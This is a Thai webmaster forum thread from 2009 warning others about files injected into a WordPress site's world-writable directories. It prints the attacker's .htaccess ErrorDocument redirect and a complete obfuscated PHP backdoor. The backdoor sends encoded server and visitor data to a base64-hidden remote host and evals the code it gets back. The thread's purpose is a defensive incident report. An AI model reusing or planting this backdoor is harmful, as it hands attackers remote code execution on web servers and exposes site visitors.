ยินดีต้อนรับคุณ, บุคคลทั่วไป กรุณา เข้าสู่ระบบ หรือ ลงทะเบียน

เข้าสู่ระบบด้วยชื่อผู้ใช้ รหัสผ่าน และระยะเวลาในเซสชั่น

ThaiSEOBoard.comพัฒนาเว็บไซต์CMS & Free Scriptเจอเรื่องแปลกๆ ตอนเข้า GG web master tool
หน้า: [1]   ลงล่าง
พิมพ์
ผู้เขียน หัวข้อ: เจอเรื่องแปลกๆ ตอนเข้า GG web master tool  (อ่าน 765 ครั้ง)
0 สมาชิก และ 1 บุคคลทั่วไป กำลังดูหัวข้อนี้
g-ji
เจ้าพ่อบอร์ดเสียว
*

พลังน้ำใจ: 231
ออฟไลน์ ออฟไลน์

กระทู้: 3,254



ดูรายละเอียด เว็บไซต์
« เมื่อ: 07 เมษายน 2009, 00:45:23 »

วันนี้ก็เข้า web master tool ตามปกติ ที่จะเข้าวันละ 1 ครั้งอยู่แล้ว เพื่อตรวจเช็ค error ต่างๆ บน site map และเช็คอื่นๆ

แต่วันนี้เจอเรื่องแปลกมาก (ตามรูป)



ที่วงแดงๆ ไว้  Tongue

จริงๆ แล้วไม่ทราบว่ามันคืออะไร ตอนแรกเห็น WP ก็นึกว่าเป็น cache ของระบบ (ใน config.php ใช้คำสั่ง define cache true ไว้) แต่พอมองดูดีๆ

เฮ้ย?? มันไป แคชบ้าอะไรในธีมนั้น แถมนามสกุล .html  Lips Sealed (แถมอยู่ใน dir image ซะงั้น)

เลยเปิด fire zilla เข้าไปดูอย่างด่วนเลย ก็พอว่า

ทุก dir ที่ ตั้ง permission 777 ไว้
จะมี .htaccess
โค๊ด:
Options -MultiViews
ErrorDocument 404 //dir/path/to/235984.php

Options -MultiViews
ErrorDocument 404 /dir/path/to/235984.php

Options -MultiViews
ErrorDocument 404 /dir/path/to/235984.php

อยู่ dir ไหนก็จะมี ชื่อพาธตามนั้นอ่ะ

แล้วใน ไฟล์ php (สุ่มเลข) ก็จะมีโค้ดตามนี้
โค๊ด:
<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="6b5c989d96a8617d098f67be813b4c3b") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

 Shocked (มันคือไรฟะ สั่งโหลดอะไรละนั้น เทพ php ช่วยบอกที :'()

พอลองไล่ๆ ดู มีทุก dir ที่ 777 ไว้ทุก dir เลย

ตอนแรกคิดว่ามันคงเป็น แคชอ่ะนะ แต่พอดู config.php ของอีกเว็บนึง มันไม่ได้ตั้งไว้... (งานเข้าละไง)

เลย ลบทิ้งหมด ไม่สนว่ามันจะเป็นไฟล์อะไรแล้ว

เข้าไปลบที่หน้า control panel นะ ทุก dir ที่ 777 มีการแก้ไขเมื่อวันที่ 2 เมษายน ที่ผ่านมานี่เอง  Lips Sealed

ก็เลยมาบอกเพื่อนๆ กันสักนิด ควรจะตรวจสอบ dir ที่ 777 ด้วยนะจ้า ไฟล์ไหนไม่มั่นใจลบโลด เพื่อความปลอดภัยของเว็บ

ไม่ใช่เฉพาะ WP นะ ใช้ cms ตัวอื่น หรือ เขียนเอง ก็ตรวจสอบดูบ้างนะ

 Tongue ตอนนี้เลยเปลี่ยน permisson หมดแล้ว รอดูอีกสัก 2-3 วัน

มันมาจากไหนหว่า Huh? ไ่ม่เข้าใจ
บันทึกการเข้า

smapan
Global Moderator
เจ้าพ่อบอร์ดเสียว
*****

พลังน้ำใจ: 643
ออฟไลน์ ออฟไลน์

กระทู้: 8,272



ดูรายละเอียด เว็บไซต์
« ตอบ #1 เมื่อ: 07 เมษายน 2009, 00:54:03 »

 Kiss ขอบคุณที่มาเตือนครับ
บันทึกการเข้า

จูมล่าโฮส สยามโฮสเว็บ modty.com
รวมที่พัก เช่ารายวัน ที่พักเช่ารายเดือนมากที่สุดแจ่มจริง
***Tel 083-757-1515 ติดปัญหา Joomla ตรงไหนรับปรึกษาฟรี โทรมาเถอะครับ ถ้าตอบได้ช่วยแน่นอน ไม่มีกั้ก. ***
หน้า: [1]   ขึ้นบน
พิมพ์